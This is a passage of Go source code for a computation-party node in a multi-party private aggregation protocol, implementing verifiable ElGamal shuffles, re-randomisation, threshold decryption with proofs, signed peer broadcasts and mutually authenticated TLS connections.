//Shuffled ElGamal Ciphers\n\n //Convert Bytes to Data\n for i := int64(0); i < b+n; i++ {\n\n tmp := bytes.NewReader(cp_resp.R[i]) //Temporary\n R_O[i] = suite.Point()\n R_O[i].UnmarshalFrom(tmp) //Assign Shuffled ElGamal Blinding Factors\n\n tmp1 := bytes.NewReader(cp_resp.C[i]) //Temporary\n C_O[i] = suite.Point()\n C_O[i].UnmarshalFrom(tmp1) //Assign Shuffled ElGamal Ciphers\n }\n\n //Verify Proof\n verifier := shuffle.Verifier(suite, nil, Y, R, C, R_O, C_O)\n err := proof.HashVerify(suite, strconv.Itoa(int(cp_s_no+step_no-2)), verifier, cp_resp.Proof[0][:])\n\n \t //If Error in Verifying\n if err != nil {\n\n logging.Error.Println(\"Verifiable shuffle proof not verified \\n\", err)\n\n f_flag = true //Set finish flag\n\n sendTSSignal(ts_s_no+step_no) //Send finish signal to TS\n\n return\n }\n\n //Iterate over all Counters\n for i := int64(0); i < b+n; i++ {\n\n //Swap Current Output as Input\n R[i] = suite.Point().Set(R_O[i])\n C[i] = suite.Point().Set(C_O[i])\n }\n\n //Free output variables\n R_O = nil //Shuffled ElGamal Blinding Factors\n C_O = nil //Shuffled ElGamal Ciphers\n\n } else if step_no == 9 { //If Step No. 9\n\n prf := make([]*ReRandomizeProof, b+n)\n tmp := bytes.NewReader(cp_resp.Proof[0])\n suite.Read(tmp, prf)\n\n R_O = make([]kyber.Point, b+n) //Shuffled ElGamal Blinding Factors\n C_O = make([]kyber.Point, b+n) //Shuffled ElGamal Ciphers\n\n //Convert Bytes to Data\n for i := int64(0); i < b+n; i++ {\n\n tmp1 := bytes.NewReader(cp_resp.R[i]) //Temporary\n R_O[i] = suite.Point()\n R_O[i].UnmarshalFrom(tmp1) //Assign Re-Randomized ElGamal Blinding Factors\n\n tmp2 := bytes.NewReader(cp_resp.C[i]) //Temporary\n C_O[i] = suite.Point()\n C_O[i].UnmarshalFrom(tmp2) //Assign Re-Randomized ElGamal Ciphers\n\n //Verify Proof\n err := prf[i].Verify(suite, R[i], C[i], nil, Y, R_O[i], C_O[i])\n\n \t \t//If Error in Verifying\n if err != nil {\n\n logging.Error.Println(\"Re-randomization re-encryption proof\", i, \"not verified \\n\", err)\n\n f_flag = true //Set finish flag\n\n sendTSSignal(ts_s_no+step_no) //Send finish signal to TS\n\n return\n }\n\n //If Re-randomization re-encryption output is generator\n if R_O[i].Equal(suite.Point().Base()) == true || C_O[i].Equal(suite.Point().Base()) == true {\n\n logging.Error.Println(\"Re-randomization re-encryption output is generator\")\n\n f_flag = true //Set finish flag\n\n sendTSSignal(ts_s_no+step_no) //Send finish signal to TS\n\n return\n }\n }\n\n //Iterate over all Counters\n for i := int64(0); i < b+n; i++ {\n\n //Swap Current Output as Input\n R[i] = suite.Point().Set(R_O[i])\n C[i] = suite.Point().Set(C_O[i])\n }\n\n //Free output variables\n R_O = nil //Shuffled ElGamal Blinding Factors\n C_O = nil //Shuffled ElGamal Ciphers\n\n } else if step_no == 10 { //If Step No. 10\n\n prf := make([]*dleq.Proof, b+n)\n tmp := bytes.NewReader(cp_resp.Proof[0])\n suite.Read(tmp, prf)\n\n R_O = make([]kyber.Point, b+n) //Shuffled ElGamal Blinding Factors\n C_O = make([]kyber.Point, b+n) //Shuffled ElGamal Ciphers\n\n //Convert Bytes to Data\n for i := int64(0); i < b+n; i++ {\n\n tmp1 := bytes.NewReader(cp_resp.R[i]) //Temporary\n R_O[i] = suite.Point()\n R_O[i].UnmarshalFrom(tmp1) //Assign Re-Randomized ElGamal Blinding Factors\n\n tmp2 := bytes.NewReader(cp_resp.C[i]) //Temporary\n C_O[i] = suite.Point()\n C_O[i].UnmarshalFrom(tmp2) //Assign Re-Randomized ElGamal Ciphers\n\n //Verify Proof\n err := prf[i].Verify(suite, nil, R[i], y[cp_bcast], suite.Point().Sub(C[i], C_O[i]))\n\n //If Error in Verifying\n if err != nil {\n\n logging.Error.Println(\"Decryption proof\", i, \"not verified \\n\", err)\n\n f_flag = true //Set finish flag\n\n sendTSSignal(ts_s_no+step_no) //Send finish signal to TS\n\n return\n }\n }\n\n //Iterate over all Counters\n for i := int64(0); i < b+n; i++ {\n\n //Swap Current Output as Input\n C[i] = suite.Point().Set(C_O[i])\n }\n\n //Free unused variables\n R_O = nil //Shuffled ElGamal Blinding Factors\n C_O = nil //Shuffled ElGamal Ciphers\n }\n\n cp_resp = nil\n buf = nil\n\n //If Last CP\n if cp_bcast == no_CPs - 1 {\n\n if step_no != 10 {\n\n logging.Info.Println(\"Sending TS signal. Bcast CP\", cp_bcast, \"Step No.\", step_no)\n sendTSSignal(ts_s_no+step_no) //Send signal to TS\n\n } else {\n\n var agg int64 //Aggregate\n agg = 0\n\n //Iterate over all Counters\n for i := int64(0); i < b+n; i++ {\n\n //If not g^0\n if e_f := C[i].Equal(suite.Point().Null()); e_f == false {\n\n //Add 1 to Aggregate\n agg += 1\n }\n }\n\n agg -= int64(n/2)\n\n logging.Info.Println(\"Aggregate =\", agg)\n\n //Assign aggregated result\n result := new(TSmsg.Result)\n result.Agg = proto.String(strconv.Itoa(int(agg)))\n\n //Convert to Bytes\n resultb, _ := proto.Marshal(result)\n\n //Send signal to TS\n sendDataToDest(resultb, ts_cname, ts_addr)\n }\n\n cp_bcast = 0 //Set CP0 as Broadcasting CP\n\n step_no += 1 //Increment step no.\n\n } else {\n\n logging.Info.Println(\"Sending TS signal. Bcast CP\", cp_bcast, \"Step No.\", step_no)\n sendTSSignal(ts_s_no+step_no) //Send signal to TS\n\n cp_bcast += 1 //Set Broadcasting CP as next CP\n }\n\n no_cp_res = 0 //Set No. of CPs Broadcasted/Re-Broadcasted to 0\n }\n }\n }\n\n mutex.Unlock() //Unlock mutex\n}\n\n//Function: Broadcasts data of broadcasting CP to other CPs\nfunc broadcastCPData() {\n\n resp := new(CPres.Response)\n\n if f_flag == false { //Finish flag not set\n\n if step_no == 2 { //If Step Number is 2\n\n seed := rand.NewSource(time.Now().UnixNano())\n rnd := rand.New(seed)\n\n //Set CP session no.\n if cp_no == 0 {\n\n for cp_s_no == 0 {\n\n cp_s_no = uint32(rnd.Int31()) //Set CP session no. to non-zero random number\n }\n\t }\n\n //Set CP Response to session no.\n resp.R = make([][]byte, 1)\n\n resp.R[0] = make([]byte, 4) //Session No. in Bytes\n binary.BigEndian.PutUint32(resp.R[0], uint32(cp_s_no)) //Convert to Bytes\n\n //Convert to Bytes\n resp1, _ := proto.Marshal(resp)\n\n //Broadcast session no. to other CPs\n for i := int32(0); i < no_CPs; i++ {\n\n if i != cp_no {\n\n sendDataToDest(resp1, cp_cnames[i], cp_addr[i])\n }\n }\n\n } else if step_no == 3 { //If Step Number is 3\n\n //Generate Schnorr public key pair\n schnorr_priv := suite.Scalar().Pick(pseudorand) //CP Schnorr private key\n schnorr_pub := suite.Point().Mul(schnorr_priv, nil) //CP Schnorr public key\n\n //Schnorr key pair in bytes\n priv_bytes := new(Schnorrkey.Priv)\n pub_bytes := new(Schnorrkey.Pub)\n\n //Convert to private key to bytes\n var tb bytes.Buffer //Temporary buffer\n _,_ = schnorr_priv.MarshalTo(&tb)\n priv_bytes.X = tb.Bytes()\n\n //Write Schnorr private key to file\n out, _ := proto.Marshal(priv_bytes)\n ioutil.WriteFile(\"schnorr/private/\" + cp_cname + \".priv\", out, 0644)\n\n //Convert to public key to bytes\n tb.Reset() //Buffer Reset\n _,_ = schnorr_pub.MarshalTo(&tb)\n pub_bytes.Y = tb.Bytes()\n\n //Write Schnorr public key to file\n out, _ = proto.Marshal(pub_bytes)\n ioutil.WriteFile(\"schnorr/public/\" + cp_cname + \".pub\", out, 0644)\n\n //Set CP response to Schnorr public key\n resp.R = make([][]byte, 1)\n resp.Proof = make([][]byte, 1)\n resp.R[0] = tb.Bytes()\n\n //Create Proof\n rep := proof.Rep(\"X\", \"x\", \"B\")\n secret := map[string]kyber.Scalar{\"x\": schnorr_priv}\n public := map[string]kyber.Point{\"B\": suite.Point().Base(), \"X\": schnorr_pub}\n prover := rep.Prover(suite, secret, public, nil)\n resp.Proof[0], _ = proof.HashProve(suite, strconv.Itoa(int(cp_s_no+step_no-2)), prover)\n\n //Convert to Bytes\n resp1, _ := proto.Marshal(resp)\n\n //Broadcast public key to other CPs\n for i := int32(0); i < no_CPs; i++ {\n\n if i != cp_no {\n\n sendDataToDest(resp1, cp_cnames[i], cp_addr[i])\n }\n }\n\n } else if step_no == 4 { //If Step Number is 4\n\n //Set CP response to ElGamal public key\n resp.R = make([][]byte, 1)\n resp.Proof = make([][]byte, 1)\n resp.R[0] = pub.Y\n\n //Create Proof\n rep := proof.Rep(\"X\", \"x\", \"B\")\n secret := map[string]kyber.Scalar{\"x\": x}\n public := map[string]kyber.Point{\"B\": suite.Point().Base(), \"X\": y[cp_no]}\n prover := rep.Prover(suite, secret, public, nil)\n resp.Proof[0], _ = proof.HashProve(suite, strconv.Itoa(int(cp_s_no+step_no-2)), prover)\n\n //Convert to Bytes\n resp1, _ := proto.Marshal(resp)\n\n //Broadcast Public Key\n broadcastData(cp_s_no+step_no-2, resp1)\n\n } else if step_no == 5 { //If Step Number is 5\n\n resp.R = make([][]byte, 2 * n)\n resp.C = make([][]byte, 2 * n)\n resp.Proof = make([][]byte, n)\n\n xbar, ybar, prover := par.MapElgamalCiphersChunked(shuffleNoise, nr, nc, Y, int(n)) //Parallel Shuffle n Noise Coins\n\n //Iterate over all Noise Counters\n for i := int64(0); i < n; i++ {\n\n //Change its input as Shuffled Output for Next Verification\n nr[i][0] = suite.Point().Set(xbar[i][0])\n nr[i][1] = suite.Point().Set(xbar[i][1])\n nc[i][0] = suite.Point().Set(ybar[i][0])\n nc[i][1] = suite.Point().Set(ybar[i][1])\n\n //Set CP Response to Broadcast Noise\n {\n var tb bytes.Buffer //Temporary buffer\n xbar[i][0].MarshalTo(&tb)\n resp.R[2*i] = tb.Bytes() //Convert to bytes\n }\n\n {\n var tb bytes.Buffer //Temporary buffer\n xbar[i][1].MarshalTo(&tb)\n resp.R[(2*i)+1] = tb.Bytes() //Convert to bytes\n }\n\n {\n var tb bytes.Buffer //Temporary buffer\n ybar[i][0].MarshalTo(&tb)\n resp.C[2*i] = tb.Bytes() //Convert to bytes\n }\n\n {\n var tb bytes.Buffer //Temporary buffer\n ybar[i][1].MarshalTo(&tb)\n resp.C[(2*i)+1] = tb.Bytes() //Convert to bytes\n }\n\n resp.Proof[i], _ = proof.HashProve(suite, strconv.Itoa(int(cp_s_no+step_no-2))+strconv.Itoa(int(i)), prover[i])\n }\n\n //Convert to Bytes\n resp1, _ := proto.Marshal(resp)\n\n //Broadcast Shuffled Noise\n broadcastData(cp_s_no+step_no-2, resp1)\n\n //If Last CP has Broadcasted\n if cp_bcast == no_CPs - 1 {\n\n //Iterate Over all Noise Counters\n for i := b; i < b+n; i++ {\n\n //Select 1st Coin as Noise\n R[i] = suite.Point().Set(nr[i-b][0])\n C[i] = suite.Point().Set(nc[i-b][0])\n }\n\n //Free noise variables\n nr = nil //Noise ElGamal blinding factors\n nc = nil //Noise ElGamal ciphers\n }\n\n } else if step_no == 7 { //If Step Number is 7\n\n tmp := suite.Scalar() //temporary\n resp.R = make([][]byte, b)\n resp.C = make([][]byte, b)\n resp.Proof = make([][]byte, b)\n\n r := make([]kyber.Point, b) //List of ElGamal Blinding Factors\n c := make([]kyber.Point, b) //List of ElGamal Ciphers\n\n //Iterate over all Counters\n for i := int64(0); i < b; i++ {\n\n //Set CP Response to Broadcast ElGamal Ciphertext of Message Shares\n {\n var tb bytes.Buffer //Temporary buffer\n tmp.Pick(pseudorand)\n r[i] = suite.Point().Mul(tmp, nil)\n R[i].Add(R[i], r[i]) //Multiply ElGamal Bllinding Factors\n r[i].MarshalTo(&tb)\n resp.R[i] = tb.Bytes() //Convert to bytes\n }\n\n {\n var tb bytes.Buffer //Temporary buffer\n c[i] = suite.Point().Mul(tmp, Y)\n c[i].Add(c[i], suite.Point().Mul(c_j[i], nil))\n C[i].Add(C[i], c[i]) //Multiply ElGamal Ciphers\n c[i].MarshalTo(&tb)\n resp.C[i] = tb.Bytes() //Convert to bytes\n }\n\n //Create Proof\n rep := proof.Rep(\"X\", \"x\", \"B\")\n secret := map[string]kyber.Scalar{\"x\": tmp}\n public := map[string]kyber.Point{\"B\": suite.Point().Base(), \"X\": r[i]}\n prover := rep.Prover(suite, secret, public, nil)\n resp.Proof[i], _ = proof.HashProve(suite, strconv.Itoa(int(cp_s_no+step_no-2))+strconv.Itoa(int(i)), prover)\n }\n\n //Free cipher shares\n c_j = nil\n\n //Convert to Bytes\n resp1, _ := proto.Marshal(resp)\n\n //Broadcast ElGamal Ciphertexts\n broadcastData(cp_s_no+step_no-2, resp1)\n\n } else if step_no == 8 { //If Step Number is 8\n\n Xbar, Ybar, prover := shuffle.Shuffle(suite, nil, Y, R, C, pseudorand) //Shuffle Counters\n\n //Assign to Output Vector and Convert to Bytes\n resp.R = make([][]byte, b+n)\n resp.C = make([][]byte, b+n)\n resp.Proof = make([][]byte, 1)\n\n resp.Proof[0], _ = proof.HashProve(suite, strconv.Itoa(int(cp_s_no+step_no-2)), prover)\n\n //Iterate over all Counters\n for i := int64(0); i < b+n; i++ {\n\n //Change its input as Shuffled Output for Next Verification\n R[i] = suite.Point().Set(Xbar[i])\n C[i] = suite.Point().Set(Ybar[i])\n\n //Set CP Response to shuffled ciphertexts\n {\n var tb bytes.Buffer //Temporary buffer\n Xbar[i].MarshalTo(&tb)\n resp.R[i] = tb.Bytes() //Convert to bytes\n }\n\n {\n var tb bytes.Buffer //Temporary buffer\n Ybar[i].MarshalTo(&tb)\n resp.C[i] = tb.Bytes() //Convert to bytes\n }\n }\n\n //Convert to Bytes\n resp1, _ := proto.Marshal(resp)\n\n //Broadcast Shuffled Counters\n broadcastData(cp_s_no+step_no-2, resp1)\n\n } else if step_no == 9 { //If Step Number is 9\n\n s := make([]kyber.Scalar, b+n) //Randomness for Re-Encryption\n q := make([]kyber.Scalar, b+n) //Randomness for Re-Randomization\n\n //Iterate over all Counters\n for i := int64(0); i < b+n; i++ {\n\n s[i] = suite.Scalar().Pick(pseudorand) //Pick a Random Scalar\n q[i] = suite.Scalar().Zero()\n\n for q[i].Equal(suite.Scalar().Zero()) == true {\n q[i] = suite.Scalar().Pick(pseudorand) //Set Exponent to Non-Zero Random Scalar\n }\n }\n\n prf, Xbar, Ybar, _ := rerandomizeProofBatch(suite, R, C, nil, Y, s, q) //Re-Randomization\n\n //Assign to Output Vector and Convert to Bytes\n resp.R = make([][]byte, b+n)\n resp.C = make([][]byte, b+n)\n resp.Proof = make([][]byte, 1)\n\n //Iterate over all Counters\n for i := int64(0); i < b+n; i++ {\n\n //Change its input as rerandomized Output for Next Verification\n R[i] = suite.Point().Set(Xbar[i])\n C[i] = suite.Point().Set(Ybar[i])\n\n //Set CP Response to rerandomized ciphertexts\n {\n var tb bytes.Buffer //Temporary buffer\n Xbar[i].MarshalTo(&tb)\n resp.R[i] = tb.Bytes() //Convert to bytes\n }\n\n {\n var tb bytes.Buffer //Temporary buffer\n Ybar[i].MarshalTo(&tb)\n resp.C[i] = tb.Bytes() //Convert to bytes\n }\n }\n\n //Convert Proof to Bytes\n var tb bytes.Buffer //Temporary buffer\n suite.Write(&tb, prf)\n resp.Proof[0] = tb.Bytes() //Convert to bytes\n\n //Convert to Bytes\n resp1, _ := proto.Marshal(resp)\n\n //Broadcast Re-randomized Counters\n broadcastData(cp_s_no+step_no-2, resp1)\n\n } else if step_no == 10 { //If Step Number is 10\n\n u := make([]kyber.Scalar, b+n) //Secret for Decryption\n p := make([]kyber.Point, b+n) //Base Vector\n\n //Iterate over all Counters\n for i := int64(0); i < b+n; i++ {\n\n u[i] = suite.Scalar().Set(x) //Set Secret for Decryption\n p[i] = suite.Point().Base()\n }\n\n prf, _, Ybar, _ := dleq.NewDLEQProofBatch(suite, p, R, u) //Decryption\n\n //Assign to Output Vector and Convert to Bytes\n resp.R = make([][]byte, b+n)\n resp.C = make([][]byte, b+n)\n resp.Proof = make([][]byte, 1)\n\n //Iterate over all Counters\n for i := int64(0); i < b+n; i++ {\n\n //Change its input as Decrypted Output for Next Verification\n C[i].Sub(C[i], Ybar[i])\n\n //Set CP Response to decrypted bins\n {\n var tb bytes.Buffer //Temporary buffer\n R[i].MarshalTo(&tb)\n resp.R[i] = tb.Bytes() //Convert to bytes\n }\n\n {\n var tb bytes.Buffer //Temporary buffer\n C[i].MarshalTo(&tb)\n resp.C[i] = tb.Bytes() //Convert to bytes\n }\n }\n\n //Convert Proof to Bytes\n var tb bytes.Buffer //Temporary buffer\n suite.Write(&tb, prf)\n resp.Proof[0] = tb.Bytes() //Convert to bytes\n\n //Convert to Bytes\n resp1, _ := proto.Marshal(resp)\n\n //Broadcast Decrypted Counters\n broadcastData(cp_s_no+step_no-2, resp1)\n }\n\n //If Step No. 2\n if step_no == 2 {\n\n logging.Info.Println(\"Sending TS signal. Bcast CP\", cp_bcast, \"Step No.\", step_no)\n sendTSSignal(ts_s_no+step_no) //Send signal to TS\n\n cp_bcast = 0 //Set CP0 as Broadcasting CP\n\n step_no += 1 //Increment step no.\n\n } else {\n\n //If Last CP\n if cp_bcast == no_CPs - 1 {\n\n if step_no != 10 {\n\n logging.Info.Println(\"Sending TS signal. Bcast CP\", cp_bcast, \"Step No.\", step_no)\n sendTSSignal(ts_s_no+step_no) //Send signal to TS\n\n } else {\n\n var agg int64 //Aggregate\n agg = 0\n\n //Iterate over all Counters\n for i := int64(0); i < b+n; i++ {\n\n //If not g^0\n if e_f := C[i].Equal(suite.Point().Null()); e_f == false {\n\n //Add 1 to Aggregate\n agg += 1\n }\n }\n\n agg -= int64(n/2)\n\n logging.Info.Println(\"Aggregate =\", agg)\n\n //Assign aggregated result\n result := new(TSmsg.Result)\n result.Agg = proto.String(strconv.Itoa(int(agg)))\n\n //Convert to Bytes\n resultb, _ := proto.Marshal(result)\n\n //Send signal to TS\n sendDataToDest(resultb, ts_cname, ts_addr)\n }\n\n cp_bcast = 0 //Set CP0 as Broadcasting CP\n\n step_no += 1 //Increment step no.\n\n } else {\n\n logging.Info.Println(\"Sending TS signal. Bcast CP\", cp_bcast, \"Step No.\", step_no)\n sendTSSignal(ts_s_no+step_no) //Send signal to TS\n\n cp_bcast += 1 //Set Broadcasting CP as next CP\n }\n }\n }\n}\n\n//Input: Command-line Arguments\n//Output: CP port number, TS information file path\n//Function: Parse Command-line Arguments\nfunc parseCommandline(arg []string) (string, string, string) {\n\n var cp_host string //CP hostname\n var tsinfo_file string //TS information file path\n var cp_port string //CP port no.\n var e_flag = false //Exit flag\n\n flag.StringVar(&cp_host, \"h\", \"\", \"CP hostname to which to bind\")\n flag.StringVar(&cp_cname, \"c\", \"\", \"CP common name (required)\")\n flag.StringVar(&cp_port, \"p\", \"\", \"CP port number (required)\")\n flag.StringVar(&tsinfo_file, \"t\", \"ts.info\", \"TS information file path\")\n flag.Parse()\n\n if cp_cname == \"\" || cp_port == \"\" {\n\n logging.Error.Println(\"Argument required:\")\n e_flag = true //Set exit flag\n\n if cp_port == \"\" {\n\n logging.Error.Println(\" -p string\")\n logging.Error.Println(\" CP port number (Required)\")\n }\n\n if cp_cname == \"\" {\n\n logging.Error.Println(\" -c string\")\n logging.Error.Println(\" CP common name (Required)\")\n }\n }\n if e_flag == true {//If exit flag set\n\n os.Exit(0) //Exit\n }\n\n return cp_host, cp_port, tsinfo_file\n}\n\n//Function: Initialize variables\nfunc initValues() {\n\n suite = edwards25519.NewBlakeSHA256Ed25519() //Cipher suite\n pseudorand = suite.RandomStream() //For Randomness\n no_CPs = 0 //No.of CPs\n no_DPs = 0 //No. of DPs\n b = 0 //Hash table size\n n = 0 //No. of noise vectors\n\n cp_cnames = nil //CP common names\n dp_cnames = nil //DP common names\n cp_addr = nil //CP addresses\n dp_addr = nil //DP addresses\n cp_no = 0 //CP number\n no_dp_res = 0 //No. of DPs responded so far\n no_cp_res = 0 //No. of CPs broadcasted/re-broadcasted\n f_flag = false //Finish flag\n cp_bcast = 0 //CP Number broadcasting\n step_no = 0 //CP step no.\n cp_s_no = 0 //CP session no.\n ts_s_no = 0 //TS session no.\n ts_config_flag = true //TS configuration flag\n cp_session_flag = true //CP session flag\n ln = nil //Server listener\n finish = make(chan bool) //Channel to send finish flag\n clients = make(chan net.Conn) //Channel to handle simultaneous client connections\n x = suite.Scalar().Zero() //CP private key\n y = nil //CP ElGamal public key list\n pub = new(Schnorrkey.Pub) //CP ElGamal public key in bytes\n Y = suite.Point().Null() //Compound public key\n k_j = nil //Key share\n c_j = nil //Message share\n b_j = nil //Broadcasted message list\n nr = nil //Noise ElGamal blinding factors\n nc = nil //Noise ElGamal ciphers\n nr_o = nil //Shuffled noise elGamal blinding factors\n nc_o = nil //Shuffled noise ElGamal ciphers\n R = nil //Product of all CP ElGamal blinding factors\n C = nil //Product of all CP ElGamal ciphers\n R_O = nil //Shuffled ElGamal blinding factors\n C_O = nil //Shuffled ElGamal ciphers\n cp_res_byte = nil //CP Response\n mutex = &sync.Mutex{} //Mutex to lock common client variable\n wg = &sync.WaitGroup{} //WaitGroup to wait for all goroutines to shutdown\n}\n\n//Input: Configuration from TS\n//Output: Assign configuration\nfunc assignConfig(config *TSmsg.Config) {\n\n ts_s_no = uint32(*config.SNo) //TS session no.\n n = *config.Noise //No. of Noise bins\n\n no_CPs = *config.Ncps //No. of CPs\n cp_cnames = make([]string, no_CPs) //CP common names\n cp_addr = make([]string, no_CPs) //CP addresses\n\n copy(cp_cnames[:], config.CPcnames) //Assign CP common names\n copy(cp_addr[:], config.CPaddr) //Assign CP addresses\n\n no_DPs = *config.Ndps //No. of DPs\n dp_cnames = make([]string, no_DPs) //DP common names\n dp_addr = make([]string, no_DPs) //DP addresses\n\n copy(dp_cnames[:], config.DPcnames) //Assign DP common names\n copy(dp_addr[:], config.DPaddr) //Assign DP addresses\n\n b = *config.Tsize //Hash table size\n\n y = make([]kyber.Point, no_CPs) //Public Key List\n k_j = make([]kyber.Scalar, b) //Key Share\n c_j = make([]kyber.Scalar, b) //Message Share\n b_j = make([][]byte, no_CPs - 1) //Broadcasted Message List\n nr = make([][2]kyber.Point, n) //Noise ElGamal Blinding Factors\n nc = make([][2]kyber.Point, n) //Noise ElGamal Ciphers\n nr_o = make([][2]kyber.Point, n) //Shuffled Noise ElGamal Blinding Factors\n nc_o = make([][2]kyber.Point, n) //Shuffled Noise ElGamal Ciphers\n R = make([]kyber.Point, b+n) //Product of all CP ElGamal Blinding Factors\n C = make([]kyber.Point, b+n) //Product of all CP ElGamal Ciphers\n R_O = make([]kyber.Point, b+n) //Shuffled ElGamal Blinding Factors\n C_O = make([]kyber.Point, b+n) //Shuffled ElGamal Ciphers\n\n cp_no = 0 //CP Number\n\n for _, cp := range cp_cnames {\n\n if cp_cname == cp {\n\n break\n }\n\n cp_no += 1 //Increment CP number\n }\n\n x = suite.Scalar().Pick(pseudorand) //CP private key\n y[cp_no] = suite.Point().Mul(x, nil) //CP ElGamal public key\n Y = Y.Mul(x, nil) //Compound Public Key\n\n //Convert CP ElGamal key pair to bytes\n var tb bytes.Buffer //Temporary Buffer\n y[cp_no].MarshalTo(&tb)\n\n pub.Y = tb.Bytes() //CP ElGamal public key in bytes\n\n //Iterate over the hashtable\n for j := int64(0); j < b; j++ {\n\n k_j[j] = suite.Scalar().Zero() //Initialize with zero\n c_j[j] = suite.Scalar().Zero() //Initialize with zero\n }\n\n //Iterate over the noise counters\n for j := int64(0); j < n; j++ {\n\n //Initialize 0 & 1 Ciphers\n nr[j][0] = suite.Point().Null() //Initialize with identity element\n nr[j][1] = suite.Point().Null() //Initialize with identity element\n nc[j][0] = suite.Point().Null() //Initialize with identity element\n nc[j][1] = suite.Point().Base() //Initialize with Base Point\n }\n\n //Iterate over all counters\n for j := int64(0); j < b+n; j++ {\n\n R[j] = suite.Point().Null() //Initialize with identity element\n C[j] = suite.Point().Null() //Initialize with identity element\n }\n}\n\n//Input: Data, Destination common name, Destination address\n//Function: Send Data to Destination\nfunc sendDataToDest(data []byte, dst_cname string, dst_addr string) {\n\n //Load Private Key and Certificate\n cert, err := tls.LoadX509KeyPair(\"certs/\" + cp_cname + \".cert\", \"private/\" + cp_cname + \".key\")\n checkError(err)\n\n //Add CA certificate to pool\n files, _ := ioutil.ReadDir(\"../CA/certs/\")\n caCertPool := x509.NewCertPool()\n for _, file := range files {\n\n if !file.IsDir() && strings.HasSuffix(file.Name(), \".cert\") {\n\n caCert, _ := ioutil.ReadFile(\"../CA/certs/\"+file.Name())\n caCertPool.AppendCertsFromPEM(caCert)\n }\n }\n\n //Dial TCP Connection\n config := tls.Config{Certificates: []tls.Certificate{cert}, RootCAs: caCertPool, ServerName: dst_cname,} //InsecureSkipVerify: true,}\n con, err := reDial(10, 180, dst_addr)\n checkError(err)\n\n //Convert to TLS Connection\n file, err := con.(*net.TCPConn).File()\n err = syscall.SetsockoptInt(int(file.Fd()), syscall.SOL_SOCKET, syscall.SO_REUSEADDR, 1)\n conn := tls.Client(con, &config)\n\n l := make([]byte, 4) //Length of Data sent in bytes\n binary.BigEndian.PutUint32(l, uint32(len(data)))\n data = append(l, data...) //Append length to data\n _, err = conn.Write(data) //Send Data to Destination\n checkError(err)\n}\n\n//Input: No. of attempts, Sleep time\n//Output: TCP connection, Error\n//Fuction: Attempt TCP dial up few times in case of failure\nfunc reDial(attempts int, sleep time.Duration, dst_addr string) (con net.Conn, err error) {\n\n for i := 0; i < attempts; i++ {\n\n con, err = net.Dial(\"tcp\", dst_addr)\n\n if err == nil {\n\n return con, err\n }\n\n time.Sleep(sleep * time.Second)\n\n \tlogging.Info.Println(\"Retrying after dial up error:\", err)\n }\n\n return con, fmt.Errorf(\"After %d attempts, last error: %s\", attempts, err)\n}\n\n//Input: Socket, Number of Bytes\n//Output: Message Buffer\n//Function: Read Exactly n Bytes from the Socket\nfunc socketReadN(conn net.Conn, n uint32) []byte {\n buf := make([]byte, n)\n io.ReadFull(conn,buf) //Read n Bytes\n return buf\n}\n\n//Input: Socket\n//Output: Message\n//Function: Read Message from Socket\nfunc receiveData(conn net.Conn) []byte {\n len_buf := socketReadN(conn, 4) //Read Message Length\n msg_len := binary.BigEndian.Uint32(len_buf) //Length of Message\n msg_buf := socketReadN(conn, msg_len) //Read Message\n return msg_buf\n}\n\n//Input: CP common name\n//Output: Socket\n//Function: Accept new connections in Socket\nfunc acceptConnections() {\n\n defer wg.Done() //Decrement counter when goroutine completes\n\n for {\n\n //Create Server Socket\n cert, err1 := tls.LoadX509KeyPair(\"certs/\"+ cp_cname +\".cert\", \"private/\" + cp_cname + \".key\")\n checkError(err1)\n\n //Add CA certificate to pool\n files, _ := ioutil.ReadDir(\"../CA/certs/\")\n caCertPool := x509.NewCertPool()\n for _, file := range files {\n\n if !file.IsDir() && strings.HasSuffix(file.Name(), \".cert\") {\n\n caCert, _ := ioutil.ReadFile(\"../CA/certs/\"+file.Name())\n caCertPool.AppendCertsFromPEM(caCert)\n }\n }\n\n //Create TLS Listener and Accept Connection\n config := tls.Config{Certificates: []tls.Certificate{cert}, ClientCAs: caCertPool, ClientAuth: tls.RequireAndVerifyClientCert,}\n conn, err := ln.Accept()\n\n var sock *tls.Conn //Client socket\n\n //If error\n if err != nil {\n\n break\n\n } else { //If not error\n\n file, _ := conn.(*net.TCPConn).File()\n err1 = syscall.SetsockoptInt(int(file.Fd()), syscall.SOL_SOCKET, syscall.SO_REUSEADDR, 1)\n sock = tls.Server(conn, &config)\n\n clients <- sock\n }\n }\n}\n\n//Input: Step No., Data\n//Function: Broadcast Data to All CPs\nfunc broadcastData(step_no uint32, data []byte) {\n\n //Read Private Key from file\n in, _ := ioutil.ReadFile(\"schnorr/private/\" + cp_cname + \".priv\")\n priv := &Schnorrkey.Priv{}\n proto.Unmarshal(in, priv)\n\n //Convert Bytes to Private Key\n x := suite.Scalar().SetBytes(priv.X)\n\n //Add Header\n b_s := make([]byte, 5)\n b_s[0] = byte(1) //Set Broadcast Flag\n binary.BigEndian.PutUint32(b_s[1:], step_no) //Set Step Number\n\n //Sign Message\n sign_msg, _ := schnorr.Sign(suite, x, data)\n l := make([]byte, 4) //Length of Signature\n binary.BigEndian.PutUint32(l, uint32(len(sign_msg))) //Set Length of Signature\n sign_msg = append(b_s, append(l, append(sign_msg, data...)...)...) //Add header and signature length\n\n //Iterate over all CPs\n for i := 0; i < int(no_CPs); i++ {\n\n //Send to all other CPs\n if i != int(cp_no) {\n\n sendDataToDest(sign_msg, cp_cnames[i], cp_addr[i])\n }\n }\n}\n\n//Input: Step No., Source CP, Data\n//Function: Send to All CPs but the Source\nfunc sendDataN_1(step_no uint32, src int, data []byte) {\n\n //Read Private Key from file\n in, _ := ioutil.ReadFile(\"schnorr/private/\" + cp_cname + \".priv\")\n priv := &Schnorrkey.Priv{}\n proto.Unmarshal(in, priv)\n\n //Convert Bytes to Private Key\n x := suite.Scalar().SetBytes(priv.X)\n\n //Add Header\n b_s := make([]byte, 5)\n b_s[0] = byte(0) //Set Broadcast Flag to 0\n binary.BigEndian.PutUint32(b_s[1:], step_no) //Set Step Number\n\n //Sign Message\n sign_msg, _ := schnorr.Sign(suite, x, data)\n l := make([]byte, 4) //Length of Signature\n binary.BigEndian.PutUint32(l, uint32(len(sign_msg))) //Set Length of Signature\n sign_msg = append(b_s, append(l, append(sign_msg, data...)...)...) //Add header, step no. and signature length\n\n //Iterate over all CPs\n for i := 0; i < int(no_CPs); i++ {\n\n //Send to other n-1 CPs\n if i != int(cp_no) && i != src {\n\n sendDataToDest(sign_msg, cp_cnames[i], cp_addr[i])\n }\n }\n}\n\n//Input: Cipher Suite, CP that is sending, Data, 